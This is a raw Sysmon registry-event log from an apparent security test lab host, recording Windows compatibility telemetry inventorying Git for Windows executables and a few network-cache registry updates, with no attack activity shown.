14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\expr.exe|2052e3951d88a155\LowerCaseLongPathc:\program files\git\usr\bin\expr.exe 13241300x800000000000000036113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\expand.exe|48fc5987fb05c50d\BinProductVersion(Empty) 13241300x800000000000000036112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\expand.exe|48fc5987fb05c50d\LinkDate01/01/1970 00:00:00 13241300x800000000000000036111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\expand.exe|48fc5987fb05c50d\Publisher(Empty) 13241300x800000000000000036110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\expand.exe|48fc5987fb05c50d\LowerCaseLongPathc:\program files\git\usr\bin\expand.exe 13241300x800000000000000036109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ex.exe|a5705edbed8fc6c4\BinProductVersion(Empty) 13241300x800000000000000036108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ex.exe|a5705edbed8fc6c4\LinkDate01/01/1970 00:00:00 13241300x800000000000000036107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ex.exe|a5705edbed8fc6c4\Publisher(Empty) 13241300x800000000000000036106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ex.exe|a5705edbed8fc6c4\LowerCaseLongPathc:\program files\git\usr\bin\ex.exe 13241300x800000000000000036105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\envsubst.exe|eadcd0623e89b9ae\BinProductVersion0.19.8.0 13241300x800000000000000036104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\envsubst.exe|eadcd0623e89b9ae\LinkDate01/01/1970 00:00:00 13241300x800000000000000036103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\envsubst.exe|eadcd0623e89b9ae\Publisherfree software foundation 13241300x800000000000000036102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\envsubst.exe|eadcd0623e89b9ae\LowerCaseLongPathc:\program files\git\mingw64\bin\envsubst.exe 13241300x800000000000000036101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\envsubst.exe|660c72e4fd95bfd4\BinProductVersion0.19.8.0 13241300x800000000000000036100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\envsubst.exe|660c72e4fd95bfd4\LinkDate12/01/2031 01:05:42 13241300x800000000000000036099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\envsubst.exe|660c72e4fd95bfd4\Publisherfree software foundation 13241300x800000000000000036098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\envsubst.exe|660c72e4fd95bfd4\LowerCaseLongPathc:\program files\git\usr\bin\envsubst.exe 13241300x800000000000000036097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\env.exe|7508509d7b06f998\BinProductVersion(Empty) 13241300x800000000000000036096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\env.exe|7508509d7b06f998\LinkDate01/01/1970 00:00:00 13241300x800000000000000036095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\env.exe|7508509d7b06f998\Publisher(Empty) 13241300x800000000000000036094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\env.exe|7508509d7b06f998\LowerCaseLongPathc:\program files\git\usr\bin\env.exe 13241300x800000000000000036093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit_test_dll.ex|2cd5024859c22e2e\BinProductVersion(Empty) 13241300x800000000000000036092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit_test_dll.ex|2cd5024859c22e2e\LinkDate01/01/1970 00:00:00 13241300x800000000000000036091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit_test_dll.ex|2cd5024859c22e2e\Publisher(Empty) 13241300x800000000000000036090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit_test_dll.ex|2cd5024859c22e2e\LowerCaseLongPathc:\program files\git\mingw64\bin\edit_test_dll.exe 13241300x800000000000000036089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit_test.exe|e47ad3e671162baa\BinProductVersion(Empty) 13241300x800000000000000036088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit_test.exe|e47ad3e671162baa\LinkDate01/01/1970 00:00:00 13241300x800000000000000036087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit_test.exe|e47ad3e671162baa\Publisher(Empty) 13241300x800000000000000036086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:42:14.261{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\ValueBinary Data 13241300x800000000000000036085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit_test.exe|e47ad3e671162baa\LowerCaseLongPathc:\program files\git\mingw64\bin\edit_test.exe 13241300x800000000000000036084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:42:14.261{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\ValueSizeDWORD (0x00000008) 13241300x800000000000000036083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:42:14.261{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\KeySizeDWORD (0x00000000) 13241300x800000000000000036082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:42:14.261{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\TimestampQWORD (0x01d7a652-0x0b95d341) 13241300x800000000000000036081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit-git-bash.ex|c4b83d4312564a9\BinProductVersion(Empty) 13241300x800000000000000036080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit-git-bash.ex|c4b83d4312564a9\LinkDate08/24/2021 10:09:53 13241300x800000000000000036079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:42:14.261{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\NetworksBinary Data 13241300x800000000000000036078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:42:14.261{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\NcbService\NCB\KapiNlmCache\7\NumNetworksDWORD (0x00000001) 13241300x800000000000000036077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit-git-bash.ex|c4b83d4312564a9\Publisher(Empty) 13241300x800000000000000036076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\edit-git-bash.ex|c4b83d4312564a9\LowerCaseLongPathc:\program files\git\mingw64\share\git\edit-git-bash.exe 13241300x800000000000000036075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\echo.exe|263446599120623a\BinProductVersion(Empty) 13241300x800000000000000036074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\echo.exe|263446599120623a\LinkDate01/01/1970 00:00:00 13241300x800000000000000036073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\echo.exe|263446599120623a\Publisher(Empty) 13241300x800000000000000036072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\echo.exe|263446599120623a\LowerCaseLongPathc:\program files\git\usr\bin\echo.exe 13241300x800000000000000036071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dumpsexp.exe|45a2659c07e3df2c\BinProductVersion(Empty) 13241300x800000000000000036070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dumpsexp.exe|45a2659c07e3df2c\LinkDate01/01/1970 00:00:00 13241300x800000000000000036069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dumpsexp.exe|45a2659c07e3df2c\Publisher(Empty) 13241300x800000000000000036068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dumpsexp.exe|45a2659c07e3df2c\LowerCaseLongPathc:\program files\git\usr\bin\dumpsexp.exe 13241300x800000000000000036067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\du.exe|2b10b32847099da7\BinProductVersion(Empty) 13241300x800000000000000036066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\du.exe|2b10b32847099da7\LinkDate01/01/1970 00:00:00 13241300x800000000000000036065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\du.exe|2b10b32847099da7\Publisher(Empty) 13241300x800000000000000036064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\du.exe|2b10b32847099da7\LowerCaseLongPathc:\program files\git\usr\bin\du.exe 13241300x800000000000000036063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dos2unix.exe|e819f56941027f1c\BinProductVersion(Empty) 13241300x800000000000000036062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dos2unix.exe|e819f56941027f1c\LinkDate01/01/1970 00:00:00 13241300x800000000000000036061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dos2unix.exe|e819f56941027f1c\Publisher(Empty) 13241300x800000000000000036060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dos2unix.exe|e819f56941027f1c\LowerCaseLongPathc:\program files\git\usr\bin\dos2unix.exe 13241300x800000000000000036059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirname.exe|b029038512034ced\BinProductVersion(Empty) 13241300x800000000000000036058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirname.exe|b029038512034ced\LinkDate01/01/1970 00:00:00 13241300x800000000000000036057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirname.exe|b029038512034ced\Publisher(Empty) 13241300x800000000000000036056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirname.exe|b029038512034ced\LowerCaseLongPathc:\program files\git\usr\bin\dirname.exe 13241300x800000000000000036055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirmngr.exe|fe24969724873327\BinProductVersion(Empty) 13241300x800000000000000036054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirmngr.exe|fe24969724873327\LinkDate01/01/1970 00:00:00 13241300x800000000000000036053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirmngr.exe|fe24969724873327\Publisher(Empty) 13241300x800000000000000036052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirmngr.exe|fe24969724873327\LowerCaseLongPathc:\program files\git\usr\bin\dirmngr.exe 13241300x800000000000000036051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirmngr-client.e|d59c8fc399717975\BinProductVersion(Empty) 13241300x800000000000000036050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirmngr-client.e|d59c8fc399717975\LinkDate01/01/1970 00:00:00 13241300x800000000000000036049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirmngr-client.e|d59c8fc399717975\Publisher(Empty) 13241300x800000000000000036048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dirmngr-client.e|d59c8fc399717975\LowerCaseLongPathc:\program files\git\usr\bin\dirmngr-client.exe 13241300x800000000000000036047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dircolors.exe|2c054bf1c4846ccd\BinProductVersion(Empty) 13241300x800000000000000036046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dircolors.exe|2c054bf1c4846ccd\LinkDate01/01/1970 00:00:00 13241300x800000000000000036045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dircolors.exe|2c054bf1c4846ccd\Publisher(Empty) 13241300x800000000000000036044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dircolors.exe|2c054bf1c4846ccd\LowerCaseLongPathc:\program files\git\usr\bin\dircolors.exe 13241300x800000000000000036043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dir.exe|100b2e6a725becca\BinProductVersion(Empty) 13241300x800000000000000036042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dir.exe|100b2e6a725becca\LinkDate01/01/1970 00:00:00 13241300x800000000000000036041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dir.exe|100b2e6a725becca\Publisher(Empty) 13241300x800000000000000036040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dir.exe|100b2e6a725becca\LowerCaseLongPathc:\program files\git\usr\bin\dir.exe 13241300x800000000000000036039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 